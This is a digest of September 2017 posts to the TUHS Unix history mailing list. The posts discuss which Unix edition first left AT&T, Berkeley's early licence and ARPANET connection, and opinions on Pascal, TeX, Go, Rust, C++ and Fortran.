closures as (one of many) ideas with a powerful effect on expressiveness
and style.

--Toby

> [snip]



From reed at reedmedia.net  Sat Sep  2 05:05:58 2017
From: reed at reedmedia.net (Jeremy C. Reed)
Date: Fri, 1 Sep 2017 14:05:58 -0500 (CDT)
Subject: [TUHS] What was the first edition of UNIX that left AT&T
In-Reply-To: <20170831232738.GA1273@minnie.tuhs.org>
References: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
 <20170831232738.GA1273@minnie.tuhs.org>
Message-ID: <alpine.NEB.2.20.1709011334120.13951@t1.m.reedmedia.net>

> "A Quarter Century of UNIX" says:

And in Salus later book, The Daemon, the Gnu, and the Penguin (which I 
published for him), he quotes Allman as using 4th edition at Berkeley. 
Allman also told me (for my BSD history book in progress), that when he 
got involved INGRES was running on 5th Edition and he helped with the 
transition to 6th Edition.

Also McKusick's 1985 article "A BERKELEY ODYSSEY: Ten years of BSD 
history" says the version 4 tape was delivered in Jan. 1974 (and used on 
PDP 11/45) and INGRES was running the newly-available Version 5 of Unix 
in the spring of 1974 (on PDP 11/40).

(Following from my book...)

The University of California --- via the 
San Francisco Medical School Campus --- was recently
licensed by Western Electric to use Unix. (Fortunately, the
licenses from Western Electric were per-organization rather than
per-computer.)
So Fabry was able to get started with Unix much more quickly than anyone
would have imagined.\cite{fabry2}
%
% NOTE: here is the license for it: archives/1970s/UC_License_4thEd.pdf
% effective Dec. 1, 1973, licensee was the Regents of the Univ.
% NOTE: it says for the location of School of Medicine
% signed on Jan. 7 and 16, 1974
% 2.01
The license allowed use solely for academic and educational purposes.
% 4.05
In addition, the University was prohibited from sharing the software
--- including its methods or concepts --- to anyone other than the
University employees or students.
% NOTE: no version of Unix is mentioned in the license





From clemc at ccc.com  Sat Sep  2 05:58:56 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 1 Sep 2017 15:58:56 -0400
Subject: [TUHS] What was the first edition of UNIX that left AT&T
In-Reply-To: <alpine.NEB.2.20.1709011334120.13951@t1.m.reedmedia.net>
References: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
 <20170831232738.GA1273@minnie.tuhs.org>
 <alpine.NEB.2.20.1709011334120.13951@t1.m.reedmedia.net>
Message-ID: <CAC20D2MjY=5gsiLQgLzR1EyadmKh5AZR8L329q5W8Y1LiZ6jyQ@mail.gmail.com>

Thanks - I've already sent Lou a note, which he has not yet responded.  I
should have remembered he was user #1.

So, my guess is that Lou had 4th edition at this point.

Although from your comments, I'm a little surprised Berkeley went back that
far, give than BSD (1.0) was all sixth edition and post Ken's sabbatical.
The Industrial Liaisons Office (ILO) in EECS which ran all of that had
existed for a number of years (since the late 1960s).  They were already
distributing things like SPICE and SPLICE.  So the idea of giving away
there SW work was really well ingrained in the Berkeley way of doing things
in EECS.

BSD (1.0) in fact used the original SPICE distribution process in the ILO
(as I suspect Ingress would have also a few years later).   While folks
think of the later CSRG stuff, that was later - once UCB got the support
contract from DARPA.  Originally it was just the fruits of the labors of
the folks in EECS being package and distributed to the folk what worked
with them as managed by the ILO (which was originally folks like AT&T, IBM,
HP, Tektronix, DEC, Intel, Fairchild, *etc*...)

So it means that UCB was hacking privately without taking to Katz@ NYU, or
the Columbia and Harvard folks for a while.   I need to ask Lou what he
remembers.   UCB was not connected to the Arpanet at this point (Stanford
was), so it's possible Ken's sabbatical openned up some channels that had
not existed.   [UCB does not get connected until ing70 gets the
vdh-interface up the hill to LBL's IMP as part of the Ingress project and
that was very late in the 70s  - not long before I arrived].

On Fri, Sep 1, 2017 at 3:05 PM, Jeremy C. Reed <reed at reedmedia.net> wrote:

> > "A Quarter Century of UNIX" says:
>
> And in Salus later book, The Daemon, the Gnu, and the Penguin (which I
> published for him), he quotes Allman as using 4th edition at Berkeley.
> Allman also told me (for my BSD history book in progress), that when he
> got involved INGRES was running on 5th Edition and he helped with the
> transition to 6th Edition.
>
> Also McKusick's 1985 article "A BERKELEY ODYSSEY: Ten years of BSD
> history" says the version 4 tape was delivered in Jan. 1974 (and used on
> PDP 11/45) and INGRES was running the newly-available Version 5 of Unix
> in the spring of 1974 (on PDP 11/40).
>
> (Following from my book...)
>
> The University of California --- via the
> San Francisco Medical School Campus --- was recently
> licensed by Western Electric to use Unix. (Fortunately, the
> licenses from Western Electric were per-organization rather than
> per-computer.)
> So Fabry was able to get started with Unix much more quickly than anyone
> would have imagined.\cite{fabry2}
> %
> % NOTE: here is the license for it: archives/1970s/UC_License_4thEd.pdf
> % effective Dec. 1, 1973, licensee was the Regents of the Univ.
> % NOTE: it says for the location of School of Medicine
> % signed on Jan. 7 and 16, 1974
> % 2.01
> The license allowed use solely for academic and educational purposes.
> % 4.05
> In addition, the University was prohibited from sharing the software
> --- including its methods or concepts --- to anyone other than the
> University employees or students.
> % NOTE: no version of Unix is mentioned in the license
>
>
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/3c134750/attachment.html>

From clemc at ccc.com  Sat Sep  2 06:42:49 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 1 Sep 2017 16:42:49 -0400
Subject: [TUHS] Future Languages (was Pascal not Favorite...)
In-Reply-To: <e2b9a48d33d28cc42717092e6061146617d09620@webmail.yaccman.com>
References: <f4dbb2e0-6cbe-1450-cd25-a54d2ad0e822@telegraphics.com.au>
 <e2b9a48d33d28cc42717092e6061146617d09620@webmail.yaccman.com>
Message-ID: <CAC20D2M0NDH5h6Ja758dPEi244u3tMhsng0VkSg8a9Xvp=6vrg@mail.gmail.com>

On Fri, Sep 1, 2017 at 2:15 PM, Steve Johnson <scj at yaccman.com> wrote:

>
> I may just be a grumpy old fart, but I think programming languages today
> are holding us back.   Nearly all of them...
>
​
I don't disagree with the idea or intent, but I don't think it's technology
that is hold us back Steve, it is economics.​


   1. When I was at CMU in the 70s, my Profs told me Fortran was dead.  In
   2017, it is still is the #1 *production* programming language on the
   supercomputer systems my customers purchase.   Nothing else even comes
   close.  My words - Fortran still pays my salary.
   2. Why is that?   The math has not changed.   Open up those codes from
   #1 and most of them are doing pretty much the same thing -
   solving simultaneous partial differentials with a lot of unknowns.   What
   has changed is the size of the data sets, how to generate them and how
   manipulate them.   But the guts of the code, be it weather, bio, chem,
   physics, *etc*.. its the same as it was years ago.
   3. As importantly, the Chief Metallurgist for the US Gov at NIST is a
   good friend of mine.   As Dr. Fekete says -- the problem is we have years
   worth of data that has been checked and worked on with those codes, if we
   throw them out, we have revalidate the codes and the data with them.  I can
   not afford to do that.


So until you can create a new system that is not only blazing fast to do
the new job, you have to be able to go back and revalidate all the old
datasets too.   That's going to be even harder.    That's not an excuse to
not try mind you, but the economics are not in your favor.

That said, Moore's law is not going to help the way it did before.  So, to
continue to give people 'speed ups' something has to change.   The problem
is can we afford to change the code base and the data too?  I don't think
that is likely unless something really, really disruptive happens.

And that's is the problem.  In the high end,  we have never had a "
Christensen   Style" disruption.  Remember, a true Christensen disruption
starts off as a 'worse' technology that a new (and different) group of
people care about which don't care that 'sucks' compare to the established
technology.   It is that new market that makes it valuable, but it grows so
fast that  it eventually over takes the old market.

So far it really has not happened in the high end  in my career because
there has never been a 'new group'  that has cared about that style of
computing. The high end is the same folks as it has been since the 1940s.

Maybe a new group will appear in my children's time, but I suspect I will
not be here to see that occur as I just don't see anyone on the horizon
that I think could become such.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170901/2033f00c/attachment.html>

From reed at reedmedia.net  Sat Sep  2 07:59:58 2017
From: reed at reedmedia.net (Jeremy C. Reed)
Date: Fri, 1 Sep 2017 16:59:58 -0500 (CDT)
Subject: [TUHS] What was the first edition of UNIX that left AT&T
In-Reply-To: <CAC20D2MjY=5gsiLQgLzR1EyadmKh5AZR8L329q5W8Y1LiZ6jyQ@mail.gmail.com>
References: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
 <20170831232738.GA1273@minnie.tuhs.org>
 <alpine.NEB.2.20.1709011334120.13951@t1.m.reedmedia.net>
 <CAC20D2MjY=5gsiLQgLzR1EyadmKh5AZR8L329q5W8Y1LiZ6jyQ@mail.gmail.com>
Message-ID: <alpine.NEB.2.20.1709011606580.13951@t1.m.reedmedia.net>

On Fri, 1 Sep 2017, Clem Cole wrote:

> So it means that UCB was hacking privately without taking to Katz@ NYU, or
> the Columbia and Harvard folks for a while.   I need to ask Lou what he
> remembers.   UCB was not connected to the Arpanet at this point (Stanford
> was), so it's possible Ken's sabbatical openned up some channels that had
> not existed.   [UCB does not get connected until ing70 gets the
> vdh-interface up the hill to LBL's IMP as part of the Ingress project and
> that was very late in the 70s  - not long before I arrived]. 

Allman told me that Mike O'Malley had an ARPA connection at UCB that was 
axed a few years before the INGRES link. So yes, I think no Arpanet 
connection during the early BSD development work. (Losing this 
connection may have had some controversy, but I don't know the details.)

Fabry told me that O'Malley used Unix for his (EECS) Artificial 
Intelligence research projects before he discovered it (so before the 
October 1973 Symposium).

RFC 402 of Oct 1972 has a ARPA network participant Michael O'Malley of 
University of Michigan Phonetics Laboratory. Also this draft report at 
http://digitalcollections.library.cmu.edu/awweb/awarchive?type=file&item=355330 
about the ARPA speech recognition project lists M. H. O'Malley at UCB 
and says the principle investigator from Univ. of Michigan moved to UCB.  
(I never go ahold of him to see if had any other relevance to my BSD 
story.)



From torek at torek.net  Sat Sep  2 09:33:07 2017
From: torek at torek.net (Chris Torek)
Date: Fri, 01 Sep 2017 16:33:07 -0700
Subject: [TUHS] Future Languages (was Pascal not Favorite...)
In-Reply-To: Your message of "Fri, 01 Sep 2017 18:43:47 -0000."
 <CAP6exYK6EdXeTSn7Hj9Lj-g=oMnbYgwjiLVCXcDQEAhB32rO9Q@mail.gmail.com>
Message-ID: <201709012333.v81NX7jU020037@elf.torek.net>

>What I have found interesting, in the several Go projects I've
>been on, is how quickly people walk away from the CSP-like ideas
>(goroutines and chans) to all the old school shared memory
>techniques, mutexs, linked lists, and such, based on
>microbenchmarks.

Well, "Go channels are bad" :-)
http://www.jtolds.com/writing/2016/03/go-channels-are-bad-and-you-should-feel-bad/

Seriously, the above article is really quite good.  It shows you how
nice channels are, and also how annoying they are for real world
code.

(There's also some annoyances colleagues using Go have hit, but I
have not actually used Go for anything.)

I was going to mention something that others have covered: TeX
papered over Pascal's inadequacies using Knuth's Tangle.  When you
ported the Pascal-ish TeX to your own system, you:

 - defined your system-specific methods of accessing files
 - defined your Pascal compiler's default-case keyword (`otherwise`
   or `else` or `default` or whatever it was)

and so on, in a system-specific file.  Tangle would read your
system-specific definitions, mix them in with the TeX source, and
produce a `.p` (or whatever name) file to compile.  It was like
having a somewhat klunky variant of the C preprocessor.

Along similar yet different lines ...

For current $job, I've been reading up on Rust.  There is a lot to
like here: it's like C++ in terms of compile time type safety, and
the language attempts, with lifetime declarations and annotations
and the idea of memory ownership, to guarantee memory safety and
even thread safety.

(The build system also handles versioning directly.  This seems to
be a big vacuum in the Go ecosystem.)

There is a lot to dislike too.  The syntax is klunky in several
places and there's a fair amount of bondage-and-discipline that
can be handled easily with appendages like ".unwrap", which is
fine but quite verbose.  The type and lifetime inference rules are
a bit arcane, and don't work for all the desirable cases.  (E.g.,
instead of C++'s solution that "x = &&(expr)" extends the lifetime
of the temporary holding the expression to the entire function,
Rust, well, just doesn't, and then complains that the expression
evaporates too soo, even though the reference to it evaporates
just a moment later, and holding the expression for just a bit
longer would have solved the problem.)

I'm not far enough along yet to decide how I feel overall, but it
is definitely a big *syntactic* improvement over C++ (which I am
also using for current $job), and the semantics actually seem less
klunky.  (C++17 is trying to improve this but they're painted into
many corners simultaneously, so adding allocator decorations and
better variable forwarding and so on is just nightmarish.  The
lvalue / rvalue / prvalue / glvalue / xvalue stuff, yikes.  All
because it's such a big deal to avoid copying heavy temporaries...)

(See: http://en.cppreference.com/w/cpp/language/value_category
http://en.cppreference.com/w/cpp/language/implicit_conversion
especially the "since C++11" and "since C++17" sections)

Chris


From jon at fourwinds.com  Sat Sep  2 09:29:22 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Fri, 01 Sep 2017 16:29:22 -0700
Subject: [TUHS] Follow-on to the Pascal/C/etc. discussion
Message-ID: <201709012329.v81NTMYq009052@darkstar.fourwinds.com>

Hi everybody.  I'm new to this list as a side-effect of my question about
the provenance of strcmp and the convention of returning <0, 0, >0.

I had to learn Pascal as a freshman in college which was challenging coming
from BTL knowing C.  Kept wondering how Pascal could be used for anything
useful.  The answer that I later saw in industry was "by adding non-standard
extensions".

Language discussions often turn to the issue of whether programming languages
should prevent programmers from making mistakes or whether that's the job of
the programmer.  This is, of course, independent of discussing the
expressiveness of languages.

I agree that a lot of "programming" today consists of trusting and bolting
together random library functions.  That's not me; I often work on safety
critical devices and I'm not going to rely on libraries of unknown provenance
when building a medical device that I make be hooked up to it someday.

Years ago I inherited a project written in hodgepodge of programming languages
including ruby.  My first reaction to ruby was "Wow, how do I get some of
what they're smoking because it's better than anything I have?"  I eventually
asked Ward Cunningham about it because he was working for ruby house AboutUs
at the time.  His answer went something like this:

 Jon, you're an engineer and you understand engineering.
 You know programming and programmers and understand programming.
 Then, there are the people with whom we entrust our confidential credit card data.
 That's what ruby is for.

This nicely summarized the current state of affairs in which the most critical
tasks are assigned to the least competent people.  I see this as a management,
business, and political problem which can't be solved by different languages.

I have often made the statement that "I would never hire someone who had to use
glibc in order to implement a singly-linked list."  I get push-back such as "Oh,
and people can create bugs rather than using the debugged library?" to which I
glibly respond "debugged library like OpenSSL?"

I am more than a little terrified by the "everybody must learn to code in high
school movement".  What they're learning is something at a level akin to the
ruby example above.  The goal is clearly to make "coding" a minimum wage job
and to many the distinction between "coding" and engineering is lost.  I've
spoken with many kids in the "future engineer" category who are frustrated at
the lack of depth in the curriculum.  I'd summarize it as teaching people to
program without teaching them anything about computers.

Anyway, I have been volunteering to teach technology to kids for years as
karmic payback to my BTL explorer scout advisors Carl Christensen, Heinz
Lycklama, and Hans Lie.  Not to mention all of the amazing people that I met
there when my dedication to hitchhiking up the the Labs after school and
talking people into signing me in turned into a series of summer jobs.
I'm in the process of turning my class notes into a book.  The goal of the
book is to teach kids enough about computers that they can understand what
their code is actually doing and why one can write better code with an
understanding of the hardware and environment.

The book is in the editing phase so it's beyond wholesale changes.  But I'm
curious as to what you all think should be in such a book as I'll find a way
to wedge in anything important that I missed.

Thanks,
	Jon


From dave at horsfall.org  Sat Sep  2 10:24:26 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sat, 2 Sep 2017 10:24:26 +1000 (EST)
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAEoi9W4s-OKr2d27Ecd-aQ7=V3xHH2i4M-Q7zCiw9n+jotDgJA@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <20170831192532.urrIi%steffen@sdaoden.eu>
 <CAJfiPzzgy7KrwNRUT12N4Pvof5rLxm+ukk7wggniERHcVhNQPQ@mail.gmail.com>
 <20170901141715.9eZXX%steffen@sdaoden.eu>
 <21d96011-2f41-2a84-1d38-66efca66490a@kilonet.net>
 <4F5E7E09-327D-47E5-ACD3-15C2D4FB20FC@cheswick.com>
 <CAEoi9W4s-OKr2d27Ecd-aQ7=V3xHH2i4M-Q7zCiw9n+jotDgJA@mail.gmail.com>
Message-ID: <alpine.BSF.2.21.1709021023480.40500@aneurin.horsfall.org>

I vote this the longest thread ever :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From clemc at ccc.com  Sat Sep  2 10:24:31 2017
From: clemc at ccc.com (Clem cole)
Date: Fri, 1 Sep 2017 20:24:31 -0400
Subject: [TUHS] What was the first edition of UNIX that left AT&T
In-Reply-To: <D66F0B83-AC94-4A47-9847-D709D8BAAE27@ccc.com>
References: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
 <20170831232738.GA1273@minnie.tuhs.org>
 <alpine.NEB.2.20.1709011334120.13951@t1.m.reedmedia.net>
 <CAC20D2MjY=5gsiLQgLzR1EyadmKh5AZR8L329q5W8Y1LiZ6jyQ@mail.gmail.com>
 <alpine.NEB.2.20.1709011606580.13951@t1.m.reedmedia.net>
 <D66F0B83-AC94-4A47-9847-D709D8BAAE27@ccc.com>
Message-ID: <6A1D6BAF-E3B4-4DA2-B198-FD0929232A83@ccc.com>

I did hear back from Lou Katz - user #1.  Indeed the first version that escaped the labs was the 4th edition. 

Sent from my PDP-7 Running UNIX V0 expect things to be almost but not quite. 

> On Sep 1, 2017, at 7:16 PM, Clem cole <clemc at ccc.com> wrote:
> 
> Interesting. If O'Malley had a connection wonder what it was connected too on both sides.  It had to be to lbl but the Vdh was a piece of shit even in the ingvax days.  The first version was even worse.  On the ucb side I wonder.  It would not have been Unix because UofI did the original arpanet code and that was for v6.  There was never a pdp10 at ucb so I wonder if it was one of the CDC machines which were the primary systems until Unix came to be.  
> 
> Sent from my PDP-7 Running UNIX V0 expect things to be almost but not quite. 
> 
>>> On Sep 1, 2017, at 5:59 PM, Jeremy C. Reed <reed at reedmedia.net> wrote:
>>> 
>>> On Fri, 1 Sep 2017, Clem Cole wrote:
>>> 
>>> So it means that UCB was hacking privately without taking to Katz@ NYU, or
>>> the Columbia and Harvard folks for a while.   I need to ask Lou what he
>>> remembers.   UCB was not connected to the Arpanet at this point (Stanford
>>> was), so it's possible Ken's sabbatical openned up some channels that had
>>> not existed.   [UCB does not get connected until ing70 gets the
>>> vdh-interface up the hill to LBL's IMP as part of the Ingress project and
>>> that was very late in the 70s  - not long before I arrived]. 
>> 
>> Allman told me that Mike O'Malley had an ARPA connection at UCB that was 
>> axed a few years before the INGRES link. So yes, I think no Arpanet 
>> connection during the early BSD development work. (Losing this 
>> connection may have had some controversy, but I don't know the details.)
>> 
>> Fabry told me that O'Malley used Unix for his (EECS) Artificial 
>> Intelligence research projects before he discovered it (so before the 
>> October 1973 Symposium).
>> 
>> RFC 402 of Oct 1972 has a ARPA network participant Michael O'Malley of 
>> University of Michigan Phonetics Laboratory. Also this draft report at 
>> http://digitalcollections.library.cmu.edu/awweb/awarchive?type=file&item=355330 
>> about the ARPA speech recognition project lists M. H. O'Malley at UCB 
>> and says the principle investigator from Univ. of Michigan moved to UCB.  
>> (I never go ahold of him to see if had any other relevance to my BSD 
>> story.)
>> 
>> 


From reed at reedmedia.net  Sat Sep  2 11:51:41 2017
From: reed at reedmedia.net (Jeremy C. Reed)
Date: Fri, 1 Sep 2017 20:51:41 -0500 (CDT)
Subject: [TUHS] What was the first edition of UNIX that left AT&T
In-Reply-To: <6A1D6BAF-E3B4-4DA2-B198-FD0929232A83@ccc.com>
References: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
 <20170831232738.GA1273@minnie.tuhs.org>
 <alpine.NEB.2.20.1709011334120.13951@t1.m.reedmedia.net>
 <CAC20D2MjY=5gsiLQgLzR1EyadmKh5AZR8L329q5W8Y1LiZ6jyQ@mail.gmail.com>
 <alpine.NEB.2.20.1709011606580.13951@t1.m.reedmedia.net>
 <D66F0B83-AC94-4A47-9847-D709D8BAAE27@ccc.com>
 <6A1D6BAF-E3B4-4DA2-B198-FD0929232A83@ccc.com>
Message-ID: <alpine.NEB.2.20.1709012004030.25455@t1.m.reedmedia.net>


> > On Sep 1, 2017, at 7:16 PM, Clem cole <clemc at ccc.com> wrote:
> > 
> > Interesting. If O'Malley had a connection wonder what it was 
> > connected too on both sides.  It had to be to lbl but the Vdh was a 
> > piece of shit even in the ingvax days.  The first version was even 
> > worse.  On the ucb side I wonder.  It would not have been Unix 
> > because UofI did the original arpanet code and that was for v6.  
> > There was never a pdp10 at ucb so I wonder if it was one of the CDC 
> > machines which were the primary systems until Unix came to be.

Regarding the ARPA network at UCB, see ARPANET Completion Report at 
http://walden-family.com/bbn/arpanet-completion-report.pdf PDF page 199 
"ARPA NETWORK, LOGICAL MAP, SEPTEMBER 1973" shows LBL with 316-based 
IMP. The next page (June 1974) shows it (LBL IMP) linked with UCB with a 
PDP-11 "v".

I don't know the key for "v" but maybe means "very distant host" as 
defined in Report 1822 Appendix F (PDF page 151 at 
http://walden-family.com/impcode/BBN1822_Jan1976.pdf ), If that is what 
it is, the BBN 1822 Section F.3.4 suggests "[e]ither an EIA RS232C 
interface or the special Bell 303 [modem] interface can be used. Speeds 
up to 230.4 kilobits/second are permitted. ... At the Host site there 
will be a mating full-duplex modem."

"UCB" was removed from the Oct. 1976 map, but it still shows a PDP-11 
"v" link. And the remote link removed from map in March 1977.

Allman told me the INGRES link was a "VDH (Very Distant Host) interface, 
which was essentially a 9600 baud modem that took up most of a rack, 
plus a rather large card that plugged into the UNIBUS on the PDP-11."

He also told me the Unix v6 Arpanet code was from San Diego. (I still 
don't know about the earlier connection but I assume was not on Unix.)


From jnc at mercury.lcs.mit.edu  Sat Sep  2 12:12:55 2017
From: jnc at mercury.lcs.mit.edu (Noel Chiappa)
Date: Fri,  1 Sep 2017 22:12:55 -0400 (EDT)
Subject: [TUHS] What was the first edition of UNIX that left AT&T
Message-ID: <20170902021255.0C02918C0D3@mercury.lcs.mit.edu>

    > From: "Jeremy C. Reed"

    > I don't know the key for "v" but maybe means "very distant host"

Yes. See:

  http://mercury.lcs.mit.edu/~jnc/tech/jpg/ARPANet/L77Dec.jpg

and look at the MIT-44 IMP (upper right center). It's listed as having a
PDP-11, with the /v, and that machine (LL-ASG, 1/44) was definitely on a VDH
(it was not in Tech Sq). (A VDH was basically an IMP modem interface
hardware-wise, but made to look like a host at a high level within the IMP
software.)

    > He also told me the Unix v6 Arpanet code was from San Diego.

Err, he may have gotten it from San Diego, but they didn't write the code, it
was written at UIll. See:

  http://minnie.tuhs.org/cgi-bin/utree.pl?file=SRI-NOSC

which contains a copy of the code, which came to me via NOSC in SD.

      Noel


From crossd at gmail.com  Sat Sep  2 23:25:56 2017
From: crossd at gmail.com (Dan Cross)
Date: Sat, 2 Sep 2017 09:25:56 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <2ffecf6c-eda0-60e7-17c7-ca4711e1158e@telegraphics.com.au>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
 <ada36aea-dc85-71b1-8a68-5210a003ae27@telegraphics.com.au>
 <CAEoi9W6BZAZT3BZ==P4s6kt_ALW9jsc8A3kvT-gMkooxqaifMA@mail.gmail.com>
 <2ffecf6c-eda0-60e7-17c7-ca4711e1158e@telegraphics.com.au>
Message-ID: <CAEoi9W6dzfodoMY8hrcQpsr=EfJKD_hW=_ucEh=hs20L38SnuQ@mail.gmail.com>

On Fri, Sep 1, 2017 at 3:07 PM, Toby Thain <toby at telegraphics.com.au> wrote:

> On 2017-09-01 12:22 PM, Dan Cross wrote:
> [snip]
> > But he wasn't using Pascal. The point was to wonder whether TeX and
>
> I mean in the mid-80s rewrite, of course.


But by then the major design decisions would have been made.  Was TeX after
that rewrite an appreciably different language?

> METAFONT would be different programs if he were. Clem seemed to imply
> > that he thought that was unlikely, based on his previous use of SAIL.
> >
> >     [snip]
> >
> >     I have not compared the codebases but wouldn't one expect that the
> final
> >     production TeX rewrite is *more* ambitious than the early SAIL
> version?
> >     (By the time I began using/porting TeX in the 1980s, the older
> version
> >     was completely obsolete.)
> >
> >
> > I don't know, but that's besides the point: the question was more about
> > how the initial programming language shaped the design of the program.
> > Specifically, had Knuth *started* in Pascal instead of SAIL, would TeX
> > have been different? To put it another way, to what extent was he
> > constrained, freed, or otherwise influenced by his medium?
>
> Maybe Professor Knuth himself has written about that, I'm not sure. A
> great question for him, anyhow.
>
> He's in an excellent position to contrast these 3 languages.


I'll shoot him an email.

I'm well aware of that, which is why I specifically mentioned lexical
> closures as (one of many) ideas with a powerful effect on expressiveness
> and style.
>

Hmm, it seems there are a number of more fundamental issues with the
language. I listed a number, mostly cribbed from Kernighan's paper and my
own experience.

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170902/ba0b295c/attachment.html>

From toby at telegraphics.com.au  Sun Sep  3 01:00:17 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Sat, 2 Sep 2017 11:00:17 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAEoi9W5FPUihmWh8p8sCKb8k57YvM=tJJQzxWaWJid84yXG-0w@mail.gmail.com>
Message-ID: <5b2078bb-9231-9ac2-ce28-035bed01b8cb@telegraphics.com.au>

On 2017-08-31 10:38 PM, Dan Cross wrote:
> On Thu, Aug 31, 2017 at 3:47 PM, Toby Thain <toby at telegraphics.com.au
> <mailto:toby at telegraphics.com.au>> wrote:
> [snip] 
> 
>     > But the problem was that in those days, because Wirth had designed it
>     > for complete small student programs, it was hard to write large real
>     > programs (as Brian points).  So people fixed it and every fixed it
>     > differently.  Pascal was hardly standardized. ...
>     >
>     > And this was the root of the real problem.
>     >
>     > You could not write “real” programs in it and really make them run on
>     > actual systems.   Brian was writing that paper, after an exercise in
> 
> 
>     Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
>     (using his literate programming toolset, but that did not extend the
>     language much).
> 
> 
> To be fair, I think that Knuth originally wrote both TeX and METAFONT in
> the SAIL language for the PDP-10. He switched to Pascal (again on the
> PDP-10) later.
> 
> I've often wondered to what extent (natural) language shapes thought;
> for instance, to what extent does grammatical gender influence
> patriarchy or matriarchy of the society that speaks that language, etc.
> If some thought is relatively harder to express in a given language,
> will less attention be given to areas associated with that thought? It
> is my limited understanding that linguists and social scientists have
> studied this and seen a positive correlation between language and
> culture/society (I don't know if it's causal).
> 
> But if we go out on a branch and assume that it *is* causal for a
> moment, it naturally raises the question: is the same true of other
> types of languages? How about programming languages or mathematical
> notations (or other similar domain specific languages)?
> 
> I have long suspected that it is true of programming. ...

This is why, as our ideas grow in sophistication, our languages must
also. I think the history of mathematical notation is a perfect example.

Lots of people are on this wavelength, e.g. this presentation:

Metaphors We Compute By, Alvaro Videla
https://www.youtube.com/watch?v=okUmXP1vAic&feature=youtu.be
33 minutes + Q&A

  "The main thesis of Lakoff... [is that metaphors] permeate all of the
language, furthermore they dictate in a way how we live, how we see the
world comes from the metaphors ... How our conceptual system is built.
... A metaphor can thus be used to identify a structure in a domain that
would not have been discovered otherwise.
  ... Master the art of meaning amplication."

This talk also mentions Dr Barbara Liskov's paper, "Programming with
Abstract Data Types":

  "The motivation behind the work in very-high-level languages is to
ease the programming task by providing the programmer with a language
containing primitives or abstractions suitable to his problem area. The
programmer is then able to spend his effort in the right place..."


Finally, a favourite quote:

  "Programs must be written for people to read, and only incidentally
for machines to execute" -- Hal Abelson

https://twitter.com/old_sound/status/903919515884544000


--Toby


> 
>         - Dan C.
> 



From dds at aueb.gr  Sun Sep  3 01:16:44 2017
From: dds at aueb.gr (Diomidis Spinellis)
Date: Sat, 02 Sep 2017 18:16:44 +0300
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
Message-ID: <wymuh5xv8f083yhg0w6pe3ng.1504365370903@email.android.com>

And let's not forget Alan Perlis's:

"A language that doesn't affect the way you think about programming, is not worth knowing."

 https://en.m.wikiquote.org/wiki/Alan_Perlis

-------- Original message --------
From: Toby Thain
Date:02/09/2017 18:00 (GMT+02:00)
To: Dan Cross
Cc: The Eunuchs Hysterical Society , quad
Subject: Re: [TUHS] Why Pascal is Not My Favorite Programming Language - Unearthed!

...


